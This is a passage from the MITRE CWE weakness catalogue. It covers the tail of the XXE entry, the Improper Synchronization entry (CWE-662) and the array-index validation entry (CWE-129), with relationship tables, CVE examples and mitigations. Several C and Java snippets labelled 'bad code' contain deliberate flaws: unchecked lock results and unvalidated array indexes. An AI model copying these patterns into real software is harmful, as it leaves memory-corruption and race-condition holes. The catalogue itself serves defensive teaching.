[REF-499] WASC. "XML External Entities (XXE) Attack". <http://projects.webappsec.org/w/page/13247003/XML%20External%20Entities>.

[REF-500] Bryan Sullivan. "XML Denial of Service Attacks and Defenses". 2009-09. <https://learn.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses>. URL validated: 2023-04-07.

[REF-501] Chris Cornutt. "Preventing XXE in PHP". <https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html>. URL validated: 2023-04-07.

Content History

Submissions
Submission Date	Submitter	Organization
2007-05-07 (CWE Draft 6, 2007-05-07)	Anonymous Tool Vendor (under NDA)
2007-05-07 (CWE Draft 6, 2007-05-07)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Description, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Taxonomy_Mappings
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Background_Details, Other_Notes
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Name
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Description, Name, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships, Taxonomy_Mappings
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Modes_of_Introduction, References, Relationships, Relevant_Properties
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Related_Attack_Patterns
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Name, Type
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Applicable_Platforms, Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Alternate_Terms, Common_Consequences, Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples
Previous Entry Names
Change Date	Previous Entry Name
2011-03-29	Information Leak Through XML External Entity File Disclosure

2013-02-21	Information Exposure Through XML External Entity Reference

2019-06-20	Improper Restriction of XML External Entity Reference ('XXE')

Weakness ID: 662

View customized information:

Description

Extended Description

Synchronization refers to a variety of behaviors and mechanisms that allow two or more independently-operating processes or threads to ensure that they operate on shared resources in predictable ways that do not interfere with each other. Some shared resource operations cannot be executed atomically; that is, multiple steps must be guaranteed to execute sequentially, without any interference by other processes. Synchronization mechanisms vary widely, but they may include locking, mutexes, and semaphores. When a multi-step operation on a shared resource cannot be guaranteed to execute independent of interference, then the resulting behavior can be unpredictable. Improper synchronization could lead to data or memory corruption, denial of service, etc.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	691	Insufficient Control Flow Management
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	664	Improper Control of a Resource Through its Lifetime
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	663	Use of a Non-reentrant Function in a Concurrent Context
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	667	Improper Locking
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	820	Missing Synchronization
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	821	Incorrect Synchronization
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1058	Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element
CanPrecede	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	667	Improper Locking

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	366	Race Condition within a Thread
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	567	Unsynchronized Access to Shared Data in a Multithreaded Context
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	667	Improper Locking
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	764	Multiple Locks of a Critical Resource
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	820	Missing Synchronization
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	821	Incorrect Synchronization
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	833	Deadlock
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1058	Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	1096	Singleton Class Instance Creation without Proper Locking or Synchronization

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	366	Race Condition within a Thread
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	567	Unsynchronized Access to Shared Data in a Multithreaded Context
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	667	Improper Locking
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	764	Multiple Locks of a Critical Resource
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	820	Missing Synchronization
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	821	Incorrect Synchronization
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1058	Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	1096	Singleton Class Instance Creation without Proper Locking or Synchronization

Modes Of Introduction

Phase	Note
Architecture and Design
Implementation

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Other	Technical Impact: Modify Application Data; Read Application Data; Alter Execution Logic

Demonstrative Examples

Example 1

The following function attempts to acquire a lock in order to perform operations on a shared resource.

(bad code)

Example Language: C

void f(pthread_mutex_t *mutex) {

pthread_mutex_lock(mutex);

/* access shared resource */

pthread_mutex_unlock(mutex);

}

(good code)

Example Language: C

int f(pthread_mutex_t *mutex) {

int result;

result = pthread_mutex_lock(mutex);
if (0 != result)

return result;

/* access shared resource */

return pthread_mutex_unlock(mutex);

}

Example 2

The following code intends to fork a process, then have both the parent and child processes print a single line.

(bad code)

Example Language: C

static void print (char * string) {

char * word;
int counter;
for (word = string; counter = *word++; ) {

putc(counter, stdout);
fflush(stdout);
/* Make timing window a little larger... */

sleep(1);

}

}

int main(void) {

pid_t pid;

pid = fork();
if (pid == -1) {

exit(-2);

}
else if (pid == 0) {

print("child\n");

}
else {

print("PARENT\n");

}
exit(0);

}

One might expect the code to print out something like:

PARENT

child

However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:

PcAhRiElNdT

[blank line]

Observed Examples

Reference	Description
CVE-2021-1782	Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV.
CVE-2009-0935	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice

Potential Mitigations

Phase: Implementation

Use industry standard APIs to synchronize your code.

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	745	CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	879	CERT C++ Secure Coding Section 11 - Signals (SIG)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	986	SFP Secondary Cluster: Missing Lock
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1166	SEI CERT C Coding Standard - Guidelines 11. Signals (SIG)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1306	CISQ Quality Measures - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit

Notes

Maintenance

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	SIG00-C		Mask signals handled by noninterruptible signal handlers
CERT C Secure Coding	SIG31-C	CWE More Abstract	Do not access shared objects in signal handlers
CLASP			State synchronization error
The CERT Oracle Secure Coding Standard for Java (2011)	VNA03-J		Do not assume that a group of calls to independently atomic methods is atomic
Software Fault Patterns	SFP19		Missing Lock

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-25	Forced Deadlock
CAPEC-26	Leveraging Race Conditions
CAPEC-27	Leveraging Race Conditions via Symbolic Links
CAPEC-29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

Content History

Submissions
Submission Date	Submitter	Organization
2008-04-11 (CWE Draft 9, 2008-04-11)	CWE Community
2008-04-11 (CWE Draft 9, 2008-04-11)	Submitted by members of the CWE community to extend early CWE versions
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Potential_Mitigations, Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Relationships
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Related_Attack_Patterns
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Relationships
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Name, Relationships
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Description, Relationships, Taxonomy_Mappings
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Type
2019-09-23	CWE Content Team	MITRE
2019-09-23	updated Description, Maintenance_Notes, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Description, Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Demonstrative_Examples, Observed_Examples
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2010-09-27	Insufficient Synchronization

Weakness ID: 129

View customized information:

Description

Alternate Terms

out-of-bounds array index
index-out-of-range
array index underflow

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1285	Improper Validation of Specified Index, Position, or Offset in Input
CanPrecede	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
CanPrecede	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	789	Memory Allocation with Excessive Size Value
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	823	Use of Out-of-range Pointer Offset

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	20	Improper Input Validation

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Often Prevalent)

C++ (Often Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Availability	Technical Impact: DoS: Crash, Exit, or Restart Use of an index that is outside the bounds of an array will very likely result in the corruption of relevant memory and perhaps instructions, leading to a crash, if the values are outside of the valid memory area.
Integrity	Technical Impact: Modify Memory If the memory corrupted is data, rather than instructions, the system will continue to function with improper values.
Confidentiality Integrity	Technical Impact: Modify Memory; Read Memory Use of an index that is outside the bounds of an array can also trigger out-of-bounds read or write operations, or operations on the wrong objects; i.e., "buffer overflows" are not always the result. This may result in the exposure or modification of sensitive data.
Integrity Confidentiality Availability	Technical Impact: Execute Unauthorized Code or Commands If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow and possibly without the use of large inputs if a precise index can be controlled.
Integrity Availability Confidentiality	Technical Impact: DoS: Crash, Exit, or Restart; Execute Unauthorized Code or Commands; Read Memory; Modify Memory A single fault could allow either an overflow (CWE-788) or underflow (CWE-786) of the array index. What happens next will depend on the type of operation being performed out of bounds, but can expose sensitive information, cause a system crash, or possibly lead to arbitrary code execution.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

In the code snippet below, an untrusted integer value is used to reference an object in an array.

(bad code)

Example Language: Java

public String getValue(int index) {

return array[index];

}

If index is outside of the range of the array, this may result in an ArrayIndexOutOfBounds Exception being raised.

Example 2

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

(bad code)

Example Language: Java

private void buildList ( int untrustedListSize ){

if ( 0 > untrustedListSize ){

die("Negative value supplied for list size, die evil hacker!");

}
Widget[] list = new Widget [ untrustedListSize ];
list[0] = new Widget();

}

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

Example 3

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

(bad code)

Example Language: C

int getValueFromArray(int *array, int len, int index) {

int value;

// check that the array index is less than the maximum

// length of the array
if (index < len) {

// get the value at the specified index of the array
value = array[index];

}
// if array index is invalid then output error message

// and return value indicating error
else {

printf("Value is: %d\n", array[index]);
value = -1;

}

return value;

}

(good code)

Example Language: C

...

// check that the array index is within the correct

// range of values for the array
if (index >= 0 && index < len) {

...

Example 4

The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.

(bad code)

Example Language: C

/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {

...
char buf[BUFFER_SIZE];
int ok;
int num, size;

// read values from socket and added to sizes array
while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)
{

// continue read from socket until buf only contains '.'
if (DOTLINE(buf))

break;

else if (sscanf(buf, "%d %d", &num, &size) == 2)

sizes[num - 1] = size;

}

...

}

In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

(good code)

Example Language: C

/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {

...
char buf[BUFFER_SIZE];
int ok;
int num, size;

// read values from socket and added to sizes array
while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)
{

// continue read from socket until buf only contains '.'
if (DOTLINE(buf))

break;

else if (sscanf(buf, "%d %d", &num, &size) == 2) {

if (num > 0 && num <= (unsigned)count)

sizes[num - 1] = size;

else

/* warn about possible attempt to induce buffer overflow */
report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n");

}

...

}

Example 5

In the following example the method displayProductSummary is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the displayProductSummary method. The displayProductSummary method passes the integer value of the product number to the getProductSummary method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.

(bad code)

Example Language: Java

// Method called from servlet to obtain product information
public String displayProductSummary(int index) {

String productSummary = new String("");

try {

String productSummary = getProductSummary(index);

} catch (Exception ex) {...}

return productSummary;

}

public String getProductSummary(int index) {

return products[index];

}

In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

(good code)

Example Language: Java

// Method called from servlet to obtain product information
public String displayProductSummary(int index) {

String productSummary = new String("");

try {

String productSummary = getProductSummary(index);

} catch (Exception ex) {...}

return productSummary;

}

public String getProductSummary(int index) {

String productSummary = "";

if ((index >= 0) && (index < MAX_PRODUCTS)) {

productSummary = products[index];

}
else {

System.err.println("index is out of bounds");
throw new IndexOutOfBoundsException();

}

return productSummary;

}

An alternative in Java would be to use one of the collection objects such as ArrayList that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.

(good code)

Example Language: Java

ArrayList productArray = new ArrayList(MAX_PRODUCTS);
...
try {

productSummary = (String) productArray.get(index);

} catch (IndexOutOfBoundsException ex) {...}

Example 6

The following example asks a user for an offset into an array to select an item.

(bad code)

Example Language: C

int main (int argc, char **argv) {

char *items[] = {"boat", "car", "truck", "train"};
int index = GetUntrustedOffset();
printf("You selected %s\n", items[index-1]);

}

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Observed Examples

Reference	Description
CVE-2005-0369	large ID in packet used as array index
CVE-2001-1009	negative array index as argument to POP LIST command
CVE-2003-0721	Integer signedness error leads to negative array index
CVE-2004-1189	product does not properly track a count and a maximum number, which can lead to resultant array index overflow.
CVE-2007-5756	Chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error.
CVE-2005-2456	Chain: array index error (CWE-129) leads to deadlock (CWE-833)

Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Phase: Architecture and Design

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Phase: Operation

Strategy: Environment Hardening

For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness: Defense in Depth

Phase: Implementation

Strategy: Input Validation

When accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.

Phase: Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Weakness Ordinalities

Ordinality

Description

Resultant

(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)

The most common condition situation leading to an out-of-bounds array index is the use of loop index variables as buffer indexes. If the end condition for the loop is subject to a flaw, the index can grow or shrink unbounded, therefore causing a buffer overflow or underflow. Another common situation leading to this condition is the use of a function's return value, or the resulting value of a calculation directly as an index in to a buffer.

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report array index errors that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Note: This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

Black Box

Black box methods might not get the needed code coverage within limited time constraints, and a dynamic test might not produce any noticeable side effects even if it is successful.

Affected Resources

Memory

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	802	2010 Top 25 - Risky Resource Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	867	2011 Top 25 - Weaknesses On the Cusp
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	872	CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	970	SFP Secondary Cluster: Faulty Buffer Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

